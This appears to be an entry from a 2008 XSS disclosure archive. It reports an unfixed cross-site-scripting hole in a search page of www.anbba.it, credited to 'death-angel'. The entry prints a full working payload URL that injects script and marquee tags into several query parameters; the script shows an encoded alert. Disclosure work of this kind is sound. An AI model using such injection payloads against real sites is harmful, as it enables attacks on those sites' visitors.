Security researcher death-angel, has submitted on 04/10/2008 a cross-site-scripting (XSS) vulnerability affecting www.anbba.it, which at the time of submission ranked 1133585 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 04/10/2008. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail. |
| Date submitted: 04/10/2008 |
Date published: 04/10/2008 |
Fixed? Mail us! | Status:  UNFIXED |
| Author: death-angel |
Domain: www.anbba.it |
Category: XSS |
Pagerank: 1133585 |
|---|
URL: http://www.anbba.it/cerca.php?regione=NULL&provincia=NULL&ragione=%22%3Ch1%3E%3Cmarquee%3Exss%20by%2
0death-angel%3Cscript%3Ealert(String.fromCharCode(120,%20115,%20115,%2032,%2098,%20121,%2032,%20100,
%20101,%2097,%20116,%20104,%2045,%2097,%20110,%20103,%20101,%20108));%3C/script%3E%20&categoria=NULL
&tipo=NULL&localita=%22%3Ch1%3E%3Cmarquee%3Exss%20by%20death-angel%3Cscript%3Ealert(String.fromCharC
ode(120,%20115,%20115,%2032,%2098,%20121,%2032,%20100,%20101,%2097,%20116,%20104,%2045,%2097,%20110,
%20103,%20101,%20108));%3C/script%3E%20&n_persone=%22%3Ch1%3E%3Cmarquee%3Exss%20by%20death-angel%3Cs
cript%3Ealert(String.fromCharCode(120,%20115,%20115,%2032,%2098,%20121,%2032,%20100,%20101,%2097,%20
116,%20104,%2045,%2097,%20110,%20103,%20101,%20108));%3C/script%3E%20&n_camapp=%22%3Ch1%3E%3Cmarquee
%3Exss%20by%20death-angel%3Cscript%3Ealert(String.fromCharCode(120,%20115,%20115,%2032,%2098,%20121,
%2032,%20100,%20101,%2097,%20116,%20104,%2045,%2097,%20110,%20103,%20101,%20108));%3C/script%3E%20&d
ata_in=NULL&data_out=NULL&trattamento=NULL&ord=undefined |
|
Click here to view the mirror
|
|
|
